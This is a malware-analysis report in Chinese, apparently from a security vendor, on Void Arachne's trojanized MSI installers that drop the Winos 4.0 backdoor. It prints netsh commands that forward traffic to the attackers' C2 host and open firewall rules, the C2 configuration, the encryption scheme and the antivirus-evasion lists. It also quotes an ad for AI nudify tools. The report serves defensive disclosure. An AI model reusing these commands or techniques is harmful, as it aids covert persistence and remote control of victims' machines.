APT & 針對式目標攻擊
翻越長城防火牆:Void Arachne 使用 Winos 4.0 CC 框架攻擊中文使用者
趨勢科技最近發現了一個新的駭客集團並將它命名為「Void Arachne」,該集團在最近的一起攻擊行動當中使用惡意的 Windows Installer (MSI) 檔案來攻擊中文使用者。這些 MSI 檔案含有 AI 軟體以及其他熱門軟體的安裝程式,但卻也挾帶了 Winos 後門程式的惡意檔案。
重點摘要:
- 趨勢科技最近發現了一個新的駭客集團並將它命名為「Void Arachne」,該集團在最近的一起攻擊行動當中使用惡意的 Windows Installer (MSI) 檔案來攻擊中文使用者。這些 MSI 檔案含有 AI 軟體以及其他熱門軟體的安裝程式,但卻也挾帶了 Winos 後門程式的惡意檔案。
- 這起攻擊行動還會推銷一些內含 AI 脫衣軟體與深偽 (Deepfake) 生成軟體的 MSI 檔案,以及 AI 聲音與臉孔技術。
- 該行動使用 SEO 毒化技巧搭配社群媒體與即時通訊平台來散播惡意程式。
- 惡意程式會在安裝過程當中植入 Winos 後門程式,進而導致系統遭到全面入侵。
- 由於中國政府對網路的嚴格管制,VPN 服務在中國大行其道,社會大眾對這項技術的興趣也很濃厚。在這起 Void Arachne 攻擊行動中,我們發現駭客正是利用人們想要翻牆並躲避網路審查所以積極尋找 VPN 軟體的心理。
今年 4 月初,我們發現了一個新的駭客集團並將它命名為「Void Arachne」,該集團專門攻擊中文使用者。Void Arachne 攻擊行動使用了含有人工智慧 (AI) 軟體以及其他熱門軟體安裝程式的惡意 MSI 檔案。駭客將 Winos 後門程式的惡意檔案與 AI 脫衣及深偽 (Deepfake) 色情生成軟體、AI 聲音模仿及換臉軟體、簡體中文語言套件、簡體中文 Google Chrome、針對中國市場的 VPN 軟體 (如 LetsVPN 與 QuickVPN) 等等包裝在一起。惡意程式會在安裝過程當中順勢植入 Winos 後門程式,進而使得系統遭到全面入侵。
在這起攻擊行動期間,我們觀察到駭客經由多個 Telegram 頻道分享了許多惡意安裝程式。此外,我們也看到駭客掌控的網站伺服器利用 SEO 毒化技巧來散播惡意檔案。這些 MSI 檔案其實是後門化的安裝程式,除了安裝良性軟體之外,也會植入 Winos 4.0 的幕後操縱 (CC) 框架,進而導致系統遭到全面入侵。Winos 是一款中國駭客集團使用的後門程式 (切勿和 Windows 作業系統搞混),該程式具備相當豐富的功能,可遠端操控遭到入侵的電腦。
攻擊程序示意圖
根據我們觀察,Void Arachne 運用了多種突破防線的管道,經由網站和社群媒體平台來散播惡意程式,其散播方式包括搭配 SEO 毒化的基礎架構,以及在中文 Telegram 頻道散播惡意套件。
突破防線
根據我們觀察,Void Arachne 運用了多種突破防線的管道,經由網站和社群媒體平台來散播惡意程式,其散播方式包括搭配 SEO 毒化的基礎架構,以及在中文 Telegram 頻道散播惡意套件。
SEO 毒化 (T1608.006)
在這起攻擊中,Void Arachne 架設了一個網站基礎架構來搭配 SEO 毒化技巧,提供偽裝成正常軟體安裝程式的魚叉式網路釣魚連結 (T1566.002) 吸引受害者上當。這些連結指向假扮成正常網站的伺服器,接著 Void Arachne 駭客集團再使用 SEO 毒化技巧來提高該網站在搜尋引擎的排名。
這些連結會指向熱門軟體的中文版 MSI 安裝程式 (如 Google Chrome)、熱門軟體的中文語言套件,以及 VPN 軟體,例如「LetsVPN」和「快連 VPN」(亦稱「Quick VPN」或「Kuilian VPN」)。當這些惡意的 MSI 檔案或壓縮檔下載到電腦上執行時,就會啟動感染程序。受害者會以為自己正在安裝想要的軟體,但其實還會順便安裝惡意程式,並且向駭客的 CC 伺服器回報。
由於 MSI 檔案屬於套裝軟體的安裝程式,因此駭客可在檔案套件內挾帶後門程式和其他惡意程式,並且在安裝過程中順便執行這些惡意程式,使用者渾然不知。
在這起攻擊中,Void Arachne 集團在「webcamcn[.]xyz」網域底下建立了一個子網域來當成 CC 伺服器,提供各種 MSI 檔案。隨著攻擊行動的進行,駭客還會在這個根網域底下新增各種子網域。
假借 VPN 相關技術名義進行魚叉式網路釣魚
中國的網際網路受到各種法規與技術手段的嚴密管制,也就是大家所熟知的「中國長城防火牆」。正因為政府的嚴格管制,讓 VPN 服務大行其道,且社會大眾對這類技術的興趣也相當濃厚,所以駭客特別喜歡利用人們想要藉由 VPN 來翻牆或躲避網路審查的心理。
我們發現「快連 VPN」是經常被駭客用來攻擊中文使用者以及整個東亞地區的網路釣魚與 SEO 毒化途徑。 我們有證據顯示有多個中國駭客集團利用這套 VPN 來挾帶惡意程式 (如 Gh0st RAT 及相關變種),並搭配網路釣魚連結與 SEO 毒化技巧。
Telegram 上的魚叉式網路釣魚
我們觀察到有多個 Telegram 頻道 (有些甚至有上萬名中文使用者) 出現了各種會散播惡意壓縮檔及 MSI 檔案的廣告,這是駭客的另一個散播途徑。這些惡意檔案通常偽裝成 Telegram 以及各種 AI 工具的簡體中文語言套件。
VPN 相關的 Telegram 頻道
Void Arachne 除了透過 SEO 毒化技巧散播惡意 MSI 檔案之外,同時也會透過中文 Telegram 頻道散播。這些全都是一些 VPN 技術相關的頻道,駭客會在多個 Telegram 頻道散播這些惡意的 MSI 檔案。
這種作法跟我們觀察到的其他攻擊行動很像,也就是駭客會先使用 SEO 技巧毒化搜尋引擎,然後再到社群媒體或即時通訊軟體上分享惡意網站或相關檔案的連結。
惡意的 Telegram 簡體中文語言套件
一種常見的惡意軟體就是 Telegram 的簡體中文語言套件 (其實 Telegram 本身就提供了簡體中文翻譯,請參閱此處)。
圖 6 是 Void Arachne Telegram 頻道上分享的影片截圖,這是利用 AI 技術從一名女性的照片生成出來的深偽色情影片。
我們觀察到駭客集團會將這些惡意 MSI 檔案釘選在 Telegram 頻道頂端來增加曝光率,希望有機會感染那些對這類技術有興趣的使用者。
社群媒體與 Telegram 頻道上推銷的惡意安裝程式,其目的是要引誘不知情的受害者 (甚至是未成年的青少年) 上當。根據廣告的內容顯示,駭客的目標也包括在學學生,因為他們在廣告中提到了「女同學」這個字眼:
來點適當的娛樂,滿足你自己的慾望。不要傳給別人或騷擾別人。你一旦報警,就會永遠招來麻煩!AI 脫衣,給我照片,我就會幫你生成圖片。想看看你心儀的女同學、女同事、或是您身邊一起吃飯、一起生活的親朋好友嗎? 想看他們光溜溜的樣子嗎? 現在你可以實現夢想,只要一盒香菸的錢,你就可以看到他們光溜溜淫蕩的樣子。
駭客在 Telegram 頻道上推銷的 AI 脫衣與深偽色情生成軟體的廣告 (內容已經過翻譯)。
除此之外,Void Arachne 也推銷一些可用於虛擬綁架的 AI 生成技術,這是一種利用 AI 變聲技術來謊稱某人已遭到綁架,進而騙取贖金的一種詐騙。
Telegram 上宣傳的 AI 變聲與換臉技術
除了 AI 脫衣應用程式之外,我們也看到其他頻道在推銷 AI 換臉與變聲軟體。如同 AI 脫衣與深偽生成應用程式一樣,我們觀察到具備換臉與變聲功能的 AI 應用程式也正在崛起。
我們發現駭客會在各種 AI 影音變造相關的 Telegram 頻道上分享這些惡意 MSI 檔案並將它們置頂。
圖 10 顯示駭客在 Void Arachne 的 Telegram 頻道上張貼的影片截圖,圖中可看到駭客在一通 WhatsApp 電話上使用 AI 換臉與聲音模仿技術。圖 11 則顯示 Telegram 上張貼的一個 AI 變聲與換臉軟體的安裝程式。
技術面分析
Letvpn MSI 分析
名稱 | Letvpn.msi |
SHA256 雜湊碼 | fae4f96beda54a1ed4914537b0542182d3a020dd9db9d9995df37d303b88e6df |
大小 | 27.05 MB |
類型 | Windows 安裝程式 |
本節分析 Void Arachne 攻擊行動相關的惡意檔案,先從「letvpn.msi」檔案開始。
惡意 MSI 檔案在安裝過程中使用了動態連結函式庫 (DLL),這些 DLL 在執行時期扮演了重要角色,用來輔助各項必要功能,包括管理 MSI 套件內的屬性、排程工作,以及設定防火牆規則。
MSI 檔案會負責執行一些工作,例如:建立排程工作與設定防火牆參數。尤其,我們觀察到它會透過 OnFwConfig 與 OnFwInstall 兩個 NetFirewall.dll 當中的函式來建立及設定防火牆規則,用來將惡意程式的內送與外送流量列入公用網路設定的白名單中。
圖 16 顯示惡意程式建立的內送防火牆規則,此規則可讓惡意程式在連上公用網路時不會受到存取限制,確保惡意程式可以不間斷運作。
除此之外,letvpn.msi 還會在系統植入多個隱藏檔案,包括:LetsPro.exe 載入器,植入位置在「C:\Program Files (x86)\Common Files\Microsoft Shared\」。接著,它會執行 LetsPRO 載入器。
檔案名稱 | 大小 | MD5 雜湊碼 | 父目錄 |
1 | 9996288 | D82362C15DDB7206010B8FCEC7F611C5 | C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0 |
LetsPRO.exe (載入器) | 40960 | FE7AEDAB70A5A58EFB84E6CB988D67A4 | C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0 |
LetsPRO.exe | 247272 | 7BB188DFEE179CBDE884A0E7D127B074 | C:\Program Files (x86)\Common Files\Microsoft Shared\VGX |
表 1:LetsPro.msi 植入系統的檔案。
木馬程式載入器 LetsPro.exe 分析
名稱 | LetsPRO.exe |
SHA256 雜湊碼 | 768881a43d2ffd9701bf2e241a1d59d8a0c116cf20e27a632a8b087bb81de409 |
編譯時間 | 2024-02-03 3:59:52 a.m. |
大小 | 40.00 KB |
編譯器 | Microsoft Visual C/C++ (2003 v.7.1 (3052-9782)) [EXE32] |
類型 | EXE |
LetsPro.exe 是一個木馬程式載入器,能解開、載入、執行第二階段的惡意程式碼。載入器首先會讀取並載入一個檔名為「1」的檔案,其內容的結構如下:
struct payload_struct {
uint32_t flag; // 1 if the data is encrypted, 0 if it's plaintext/Memory clean up
uint32_t fileSize; // Size of the encrypted data in bytes
char encryptedData[]; // The encrypted payload
};
接著,它會找到檔案內的加密資料區段。檔案結構的第一部分含有一個旗標,旗標數值為 1 代表資料已加密。載入器使用 Rivest Cipher 4 (RC4) 演算法搭配金鑰「0x678E0B00」將資料解密。解開後的內容是可執行程式碼,會映射到處理程序的記憶體空間,然後執行。
解密金鑰的結構定義如下:
struct decryption_key_struct {
uint32_t memory_cleanup; // Flag for memory cleanup after decryption
uint32_t keySize; // Size of the decryption key
char key[]; // Decryption key
};
以下程式碼是載入器的核心邏輯:
以下程式碼是檔案「1」在記憶體內解密後的結構:
第二階段載入器分析
SHA256 雜湊碼 | 77c77e728b98a923bb057943d0b5765b79106c0378d72814cb3db69749abaebb |
大小 | 15.77 MB |
編譯時間 | 2024-05-11 08:02:23 |
類型 | DLL |
在第二階段檔案 (檔案「1」) 載入記憶體內執行後,惡意程式會在系統植入一個 Visual Basic Script (VBScript) 檔案,以便能自動在 Windows 工作排程器 (Task Scheduler) 當中建立排程工作來常駐在系統內。這個 VBScript 檔案會建立一個新的排程工作,並設定在使用者登入時執行某個批次檔。此外,惡意程式還會建立一個 Windows 服務來執行此 VBScript 檔案 (服務名稱以「CreateSvc_」為開頭)。在我們研究當下已經無法取得這個批次檔。
完成之後,惡意程式接著將載入器、VBScript 以及檔案「1」複製到使用者的目錄內。
檔案名稱 | 大小 | MD5 | 父目錄 |
1 | 9996288 | D82362C15DDB7206010B8FCEC7F611C5 | C:\Users\%USERNAME%\<Random Directory Name> |
792258.vbs | 2405 | CD95B5408531DC5342180A1BECE74757 | C:\Users\%USERNAME%\<Random Directory Name> |
LetsPRO.exe | 40960 | FE7AEDAB70A5A58EFB84E6CB988D67A4 | C:\Users\%USERNAME%\<Random Directory Name> |
表 2:檔案「1」植入系統的檔案。
此外,惡意程式也會使用 netsh 指令在使用者電腦上設定連接埠轉發 (port forwarding) 功能以及名為「Safe<integer>」的防火牆規則,藉此將惡意程式的內送與外送流量列入所有網路設定檔的白名單內。
它會建立一條 IPv4-to-IPv4 連接埠轉發規則。精確來說,它會指定連接埠 443 為本機的監聽埠,用來監聽對內的連線,然後再指定一個目的地位址 (103.214.147.14[.]webcamcn[.]xyz),也就是流量要轉發的目的地。此外,它還會將目的地伺服器的連接埠 443 指定為內送流量轉發目的地連接埠。這樣設定之後,本機連接埠 443 所收到的流量,就會轉發到指定目的地的位址和連接埠。
netsh interface portproxy add v4tov4 listenport=443 connectaddress=103[.]214[.]147[.]14[.]webcamcn[.]xyz connectport=443
netsh advfirewall firewall add rule name="Safe1" dir=in action=allow program=" C:\Program Files (x86)\Common Files\Microsoft Shared\VGX\app-3.4.0\LetsPRO.exe"
最後,惡意程式會將程式執行權交給記憶體中的 Winos 4.0 階段性載入器 (stager)。
Winos 4.0 幕後操縱 (CC) 框架介紹
這起攻擊的最後階段就是植入 Winos 4.0 幕後操縱框架,它使用 C++ 撰寫,專門攻擊 Windows 平台。Winos 的功能包括:檔案管理、使用 TCP/UDP/ICMP/HTTP 發動分散式阻斷服務 (DDoS) 攻擊、全硬碟搜尋、網路攝影機操控,以及螢幕截圖。除此之外,還可用來支援許多其他功能,例如:執行程序注入、透過麥克風錄音、系統與服務管理、存取遠端指令列介面、鍵盤側錄等功能,更進一步地操控及監視被感染的系統。
Winos 的 CC 伺服器共有 23 個內部擴充元件 (plugin),每一個都有 32 及 64 位元版本,可執行各種不同工作。表 3 列出這些擴充元件的完整清單,以及其對應的 SHA256 雜湊碼:
簡體中文模組名稱 | 模組名稱繁體中文翻譯 | SHA256 雜湊碼 |
播放监听.dll | 播放監聽.dll | 7ed8c7ea5e2feeadb1966f53c48ab3a580f53a4d20725031d764db7e962607a9 |
查注册表.dll | 檢查系統登錄.dll | 49120dfcef430df1c90c9c370b92b969c876b9b4327d81eae720cd71fcd75b87 |
差异屏幕.dll | 差異螢幕.dll | 5f7e00017b16db29fa7cba60993d7af909ef41d3fe9d3f7ca9f693c1f7ef6d37 |
代理映射.dll | 代理映射.dll | 023822a8ad26f2d7330a2afa310ccf943058f2765b7cbc6975c51c144739b55f |
服务管理.dll | 服務管理.dll | 3ac0afec0ce29b69d57c54663c6e4fa6fee703696069cb5b8f00783b5504cf80 |
高速屏幕.dll | 高速螢幕.dll | bc01cf528086de6a1b231dee01c1624cf58911b171904bf7a6b08ddfba661d83 |
后台屏幕.dll | 後台螢幕.dll | 2066dd040fe020ca32e5ebfeeb4fa75094d3ac43155c83fe222f380d4940df42 |
急速搜索.dll | 快速搜尋.dll | 5759fc938f228579fc5e64e74cee083581a975d4054deb715c0f371b66b96263 |
键盘记录.dll | 鍵盤側錄.dll | 976837663b25f793470f24925198b06e79a72ede014a84ba62311fadede5062f |
上线模块.exe (階段性載入器) | 上線模組.exe | 436499efe94c7a1bfefaa84c52f8187bffb3d4d1a49de1cbc8885e7807d11b42 |
上线模块.dll (階段性載入器) | 上線模組.dll | 5684fc4f33c168519b2fdcae59cc3be2e6db1f0b0f3718524ef57e0e7423f59d |
视频查看.dll | 視訊檢視.dll | 7a3841a5315c01df299d8844b62dc150b1c3e5b5ebe7547c1a211349879659af |
视频查看.dll | 視訊監控.dll | 7a3841a5315c01df299d8844b62dc150b1c3e5b5ebe7547c1a211349879659af |
文件管理.dll | 檔案管理.dll | 5abc2006c7a3a27e033075ba881a668aba5e70797677ed2220f7ab9fb36fc927 |
系统管理.dll | 系統管理.dll | 827ed4f36ea7032395bfa35da54c6e9d06d6633aa7396792e8511adf366c1fcc |
远程交谈.dll | 遠端通訊.dll | c61c8ded2a9481c2e50b4872c8f7bcd8ecc33997a6004e62aa06b60742f54e57 |
远程终端.dll | 遠端終端機.dll | 409e09ac0fcf7d39044ef0b3eb798aea6dc0650e5214056760694c1340fc8488 |
注入管理.dll | 注入管理.dll | ecf5394d78392b11daec1016c6b447f9da7eae69f7702ecf8c4d1d3f69e3fe64 |
娱乐屏幕.dll | 娛樂螢幕.dll | 6ce947e21128687ed37f247e297f29609251deed934b7b5722d27f4a1f72a90e |
压力测试.dll (DDOS 模組) | 壓力測試.dll | 61d73a8920c41483d0832c9a5c5bc9f57ac5f71146a98faefc0cb4d988e77bab |
计划任务.dll | 排程工作.dll | 4791c23aff8a09061b76a05bb88ee37149995584a87aade236ea4eebab79ed1c |
登录模块.dll | 登入模組.dll | 16d3c176ca94c84b60e26981231bf59ebe75057ac10dd6f583ce65a3bed11dd0 |
(shellcode) | - | b022e0f0b2ae9e27847cfc909bfcdbc89a732fcdde6e473443aaab2592a84910 |
表 3:Winos 4.0 內部擴充元件。
就像 Cobalt Strike 和 Sliver 一樣,Winos 也支援駭客自行開發的客製化擴充元件。如此就能擴充該工具,增加客製化功能。我們在調查期間發現了網路上流傳著以下 Winos 4.0 外部客製化擴充功能:
擴充元件簡體中文名稱 | 擴充元件繁體中文翻譯名稱 | SHA256 雜湊碼 |
删除360急速安全账号密码.dll | 刪除360急速安全帳號密碼.dll | 03669424bdf8241a7ef7f8982cc3d0cf56280a5804f042961f3c6a111252ffd3 |
提权-EnableDebugPrivilege.dll | 提高權限-EnableDebugPrivilege.dll | 11a96c107b8d4254722a35ab9a4d25974819de1ce8aa212e12cae39354929d5f |
体积膨胀.dll | 體積膨脹.dll | 186bf42bf48dc74ef12e369ca533422ce30a85791b6732016de079192f4aac5f |
提权ShellExecuteEx.dll | 提高權限ShellExecuteEx.dll | 202c378deb628a8104a1dd957bbd70b945beea8e11d55b9ce3e4787fbe496797 |
删除sogou账号密码.dll | 刪除Sogou帳號密碼.dll | 2d1904dfc5a555b8bfdd4fa2db46d532e19479fd99affb169449ff2a2a4b459a |
提权-RtlAdjustPrivilege.dll | 提高權限-RtlAdjustPrivilege.dll | 47dfa891fc347187ba4ac161980a7e7c47cf656ddbf7b269a74c32a5a1365d4e |
删除ie账号密码.dll | 刪除IE帳號密碼.dll | 538382dc7a7839f125ffe08a854512b78fc4a657697227e53f832ae566ca2505 |
提权-CreateProcessInSession0.dll | 提高權限-CreateProcessInSession0.dll | 616c7270a21ecc9ccd880e04563343e9ac53cce88a77244388dbb1fc7bfa4360 |
写启动目录.dll | 寫入啟動目錄.dll | 61981a0324586ad83e6cb7015df91a6e4887537ad36a4674be82cb3cfcf5b18b |
写注册表启动.dll | 寫入系統登錄啟動機碼.dll | d2e15264c786917a6cb194bf0cf586a69b8678c6d4d4c87cc14082d7b76fe0b2 |
删除自身.dll | 自我刪除.dll | 6ece1e12d50ade02bf424007a9b70b4a14580244a9a1f5cd32c0a129ec069d6e |
内网主机扫描.dll | 內部網路主機掃描.dll | 6f5574d00ffce206525835f72ac083692a183e69114f1551b7ecb99dec3d1d19 |
解密数据.dll | 解密資料.dll | 6f923b94a614e61cbde73c5b09036b9482f3770c02161ecb0875dbb56bc65843 |
删除chrome账号密码.dll | 刪除Chrome帳號密碼.dll | fbc23b84b2c83e99ab1c5cb7075bd5d26b55dde4afc06eddc0471c6d6b2cc5f2 |
写计划任务.dll | 寫入排程工作.dll | 65ac9f036b1d8a02e4c9041eeafc230562088e57f2535bd194e8bf592e62cb06 |
删除telegram账号密码.dll | 刪除Telegram帳號密碼.dll | 2d1904dfc5a555b8bfdd4fa2db46d532e19479fd99affb169449ff2a2a4b459a |
删除qq账号密码.dll | 刪除QQ帳號密碼.dll | b71e6c4ff7c910dd666f442e98597f90bd2eb3fce4c8889af0ecc694f282bf64 |
删除skype账号密码.dll | 刪除Skype帳號密碼.dll | b396bfd7bec043cf402e04fa810983c93c79d1a632fd4558098e68eb144abb17 |
表 4:Winos 4.0 外部擴充元件。
Winos 4.0 階段性載入器 (stager) 分析
檔案名稱 | 上线模块.dll (上線模組.dll) |
神奇標記 | PE32 執行檔 (DLL) |
SHA256 雜湊碼 | 2962bb303b949e4a0826c723ee4aee2df8cb0806653a8ca6daaa67fd06f37e6f |
編譯器 | Microsoft Visual C/C++ |
編譯時間 | 2023-05-23 09:24:06 |
大小 | 109 KB |
類型 | DLL |
前述的第二階段載入器會執行 Winos 階段性載入器 (stager)「上线模块.dll/exe」(上線模組.dll/exe)。該模組可以是 EXE 或 DLL 格式,這起攻擊使用的是 DLL。此模組負責下載和執行主要模組「登录模块.dll」(登入模組.dll) 到被感染的系統上。
執行時,階段性下載器會讀取組態設定並執行設定初始化。值得注意的是,組態設定是採用明碼格式,而且以顛倒順序排列。以下是修正後的組態設定:
|p1:127.0.0.1|o1:443|t1:1|p2:103[.]214[.]147[.]14[.]webcamcn[.]xyz|o2:80|t2:1|p3:103[.]214[.]147[.]14[.]webcamcn[.]xyz|o3:80|t3:0|dd:1|cl:1|fz:默认|bb:1.0|bz:2024. 4.18|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|
表 5 列出階段性載入器的組態設定數值與說明。
組態設定 | 說明 | 數值 |
p1 | 第一個 CC 位址 | 127.0.0.1 |
o1 | 第一個 CC 連接埠 | 443 |
t1 | 通訊協定 TCP/UDP | 1 (TCP) |
p2 | 第二個 CC 位址 | 103[.]214[.]147[.]14[.]webcamcn[.]xyz |
o2 | 第二個 CC 連接埠 | 80 |
t2 | 通訊協定 TCP/UDP | 1 (TCP) |
p3 | 第三個 CC 位址:萬一 p1 和 p2 都不通時的備用位址 | 103[.]214[.]147[.]14[.]webcamcn[.]xyz |
o3 | 第三個連接埠 | 80 |
t3 | 通訊協定 TCP/UDP | 0 (UDP) |
dd | 植入元件執行延遲秒數 | 1 |
cl | CC 通訊間隔 (信標發送間隔) 秒數 | 1 |
fz | 群組 | 默认 (預設) |
bb | 版本 | 1.0 |
bz | 備註:預設值為植入元件產生的時間 | 2024. 4.18 |
jp | 鍵盤側錄程式 | 0 |
sx | 反制虛擬機器 (Anti-VM) | 0 |
bh | 結束藍色畫面 | 0 |
ll | 反制流量監視 | 0 |
dl | 進入點 | 0 |
sh | 背景處理程序 (daemon) | 0 |
kl | 處理程序掏空 (process hollowing) | 0 |
bd | - | 0 |
表 5:Winos 4.0 階段性載入器組態設定數值與說明。
在與 CC 伺服器通訊之前,惡意程式首先需要產生一個加密金鑰來保護通訊的安全。為了產生此金鑰,惡意程式會呼叫「timeGetTime()」Windows API 函式,函式會傳回當下的系統時間 (毫秒),然後末端再附上「00 00 00 00 ca 00」。接著,要傳輸的資料會使用這個金鑰來加密,然後附在金鑰後方。
圖 28 顯示階段性載入器與 CC 伺服器之間的初始交握封包。惡意程式會將「04 00」這個固定數值加密並傳送至 CC 伺服器來表示這個初始封包含有金鑰。接著,伺服器會在後續的通訊中使用這個連線階段金鑰。
加密演算法一開始會準備好一段資料和一個金鑰,並調整緩衝區大小以確定有足夠的空間可以容納兩者。接下來,將金鑰附在需要被加密的資料開頭。演算法接著執行加密程序,循環處理資料的每一個位元組。針對資料的每一個位元組,從金鑰選出一個位元組,然後使用固定的數值「0x1C8」來取其模數 (modulus),然後再與另一個固定的數值「0x36」相加。處理過的金鑰再用來與目前正在處理的資料位元組進行 XOR 運算,接著將加密後的位元組取代原本資料中的位元組。每處理十個位元組,演算法就將指標重新移到金鑰的開頭,如此不斷循環使用金鑰的內容。
這裡要說明一下,根據我們的分析,「0x1C8」這個固定數值在這起攻擊行動中發現的樣本以及其他多起攻擊當中的樣本都一樣。不過我們有觀察到網路上發現的某些變種使用了不同的數值 (例如「0x7C5」),顯示這個數值可能隨樣本而變動。不過,「0x36」這個數值在所有我們分析到的變種當中都維持不變。
接下來,CC 伺服器會回覆「04」這個神奇數值,以及一個非重複的 16 位元組識別碼 (UTF-16 格式)。在某些 Winos 變種中,這個識別碼是即將下載的 DLL 模組的 MD5 雜湊碼。圖 30 顯示 CC 伺服器的回覆內容範例。
圖 31 顯示封包解密後的資料。
階段性載入器接著傳送下一階段的擴充元件名稱「登录模块.dll」(登入模組.dll) 給 CC 伺服器。
圖 33 顯示封包解密後的資料。
CC 伺服器的回覆包含了以下資訊:
- 模組名稱
- 模組雜湊碼
- 二進位載入器 shellcode
- DLL 模組二進位檔案
階段性載入器接著將解密後的 CC 伺服器回覆 (擴充元件與其組態設定) 儲存到 Windows 系統登錄。它使用「d33f351a4aeea5e608853d1a56661059」作為數值名稱,並儲存在以下路徑:「HKEY_CURRENT_USER\Console\0 」(32 位元擴充元件) 或「HKEY_CURRENT_USER\Console\1」(64 位元擴充元件)。
最後,為了執行該模組,階段性載入器會找到 CC 伺服器回覆中的 shellcode 區段 (位移 0xA44 的位置),然後將控制權交給 shellcode。
Winos 主要元件分析
檔案名稱 | 登录模块.dll (登入模組.dll) |
神奇標記 | PE32 執行檔 (DLL) |
SHA256 雜湊碼 | 78f86c3581ae893e17873e857aff0f0a82dcaed192ad82cd40ad269372366590 |
編譯器 | Microsoft Visual C/C++ |
編譯時間 | 2023-05-23 09:24:23 UTC |
大小 | 195.00 KB (199,680 位元組) |
類型 | DLL |
登录模块.dll (登入模組.dll) 是 Winos 4.0 的一個基礎元件,負責管理系統上的核心擴充元件,並處理駭客執行的每一個動作和指令,以 DLL 的形式從 CC 伺服器傳送至系統上。擴充元件的作用是擴充惡意程式的功能。
在收到 CC 伺服器的回覆之後,Winos 會將 DLL 擴充元件儲存在 Windows 系統登錄內,路徑在「HKEY_CURRENT_USER\Console\0」(32 位元系統) 或「HKEY_CURRENT_USER\Console\1」(64 位元系統)。接下來,惡意程式會載入這些擴充元件來執行各種工作,增加其作業能力。這種模組化的作法,構成了一個高度彈性的可延伸框架,讓駭客有效率地視需要執行各種功能。
登录模块.dll (登入模組.dll) 擴充元件下載好之後,就會根據前述的組態設定來加以執行。惡意程式會建立一個執行緒來蒐集剪貼簿資料與鍵盤按鍵。該執行緒還有自己專用的 mutex,叫作「测试备注 」(測試備註)。
接下來,惡意程式會從三個可用的 CC 組態設定當中選擇其一。在初始化 socket 之前,它會先查看組態設定是否啟用了反制分析功能。如果是,惡意程式就會查看系統上正在執行的處理程序,比對其視窗標題來看看是否有監視軟體正在執行。如果偵測到這類軟體,惡意程式就會進入睡眠狀態。
以下是惡意程式會偵測的監視軟體名單:
- 流量:
- TaskExplorer
- Wireshark
- Fiddler
- 處理程序:
- ApateDNS
- CurrPorts
- 任务管理器(工作管理員)
- 火绒(火絨安全軟體)
- 提示符(命令提示字元)
- Malwarebytes
- 連接埠:
- 资源监视器(資源監視器)
- Capsa
- TCPEye
- Metascan
- 網路分析:
- Sniff
惡意程式會蒐集被感染電腦的系統資訊,包括:IP 位址、電腦名稱、防毒軟體、作業系統詳細資訊,以及硬體識別碼 (HWID)。
表 6 顯示惡意程式會偵測的防毒軟體名單。
防毒軟體廠商 | 防毒軟體處理程序 |
360 Total Security | 360Safe.exe | 360Tray.exe | 360tray.exe | ZhuDongFangYu.exe | 360sd.exe |
金山(Jinshan) | Kxetray.exe | KSafeTray.exe | kscan.exe | kwsprotect64.exe | kxescore.exe |
QQPCRTP.exe | QMDL.exe | QMPersonalCenter.exe | QQPCPatch.exe | QQPCRealTimeSpeedup.exe | QQPCTray.exe | QQRepair.exe | |
Baidu | BaiduSd.exe | baiduSafeTray.exe |
江民(Jiang Min) | KvMonXP.exe | RavMonD.exe |
QuickHeal | QUHLPSVC.EXE |
Microsoft MSE | mssecess.exe |
Comodo | cfp.exe |
DR.WEB | SPIDer.exe |
Outpost | acs.exe |
安博士V3 (Dr. An V3) | V3Svc.exe |
韩国胶囊(Korean capsules) | AYAgent.aye |
AVG | avgwdsvc.exe |
F-Secure | f-secure.exe |
卡巴(Kaba) | avp.exe |
avpui.exe | |
McAfee | Mcshield.exe |
NOD32 | egui.exe |
可牛(Ke Niu) | knsdtray.exe |
趨勢科技 | TMBMSRV.exe |
小红伞(Red Umbrella) | avcenter.exe |
Norton | rtvscan.exe |
Avast | ashDisp.exe |
Panda Antivirus Titanium | remupd.exe |
BitDefender | vsserv.exe |
PSafe | PSafeSysTray.exe |
Ad-watch | ad-watch.exe |
K7 | K7TSecurity.exe |
UnThreat | UnThreat.exe |
表 6:惡意程式會偵測的防毒軟體名單。
接著,惡意程式會利用前面討論的加密演算法來將蒐集到的所有資料加密。加密時,它會使用「timeGetTime()」Windows API 函式來產生新的金鑰,有別於階段性載入器原始請求所用的金鑰。惡意程式會在加密金鑰末端加上「06 00」這個固定數值來代表這次的請求包含了蒐集到的資料。有別於階段性載入器 (上線模組.dll),登入模組.dll 不會透過另外一個請求來發送金鑰,而是將金鑰的數值附在蒐集到的資料之前,然後將整個請求內容加密傳送至 CC 伺服器。
圖 40 顯示惡意程式傳送的初始封包。
接下來,惡意程式會開始監聽來自 CC 伺服器的指令。它可以執行各種工作,包括:載入額外擴充元件、抓取螢幕截圖、清除系統記錄檔等等。這些功能都透過分支敘述來管理和執行,確保每一道指令都能有效率地完成。
表 7 列出惡意程式所支援的功能。
指令 | 說明 |
0 | 載入擴充元件。 |
1 | 載入擴充元件並更新系統登錄。 |
2 | 終止連線。 |
3 | 傳送前景視窗資訊並抓取螢幕截圖。 |
4 | 抓取螢幕截圖。 |
5 | 執行檔案和指令。 |
6 | 從指定的網址下載一個檔案來執行。 |
7 | 修改指定系統登錄機碼的數值,如果機碼不存在,就建立機碼。 |
8 | 列出系統上正在執行的所有處理程序,並檢查某個名稱的處理程序是否存在。 |
9 | 無 |
10 | 抓取螢幕截圖。 |
11 | 清除系統記錄檔:應用程式、安全性以及系統。 |
12 | 重新啟動處理程序。 |
13 | 終止處理程序。 |
14 | 登出系統。 |
15 | 將系統重新開機。 |
16 | 將系統關機。 |
17 | 變更預設的擴充元件載入方式。 |
18 | 更新組態設定。 |
19 | 建立一個新的 CC 執行緒並蒐集系統資訊。 |
100 | 設定系統登錄機碼「IpDatespecial」的數值。 |
101 | 移除系統登錄機碼「IpDatespecial」的數值。 |
表 7:惡意程式所支援的功能。
結論
以上研究分析了專門攻擊中文使用者的 Void Arachne 攻擊行動。Void Arachne 藉由 SEO 毒化技巧以及熱門的通訊軟體 (如 Telegram) 來散播惡意的 MSI 檔案,而且該集團很可能已觸及了大量的中文使用者以及整個東亞地區。
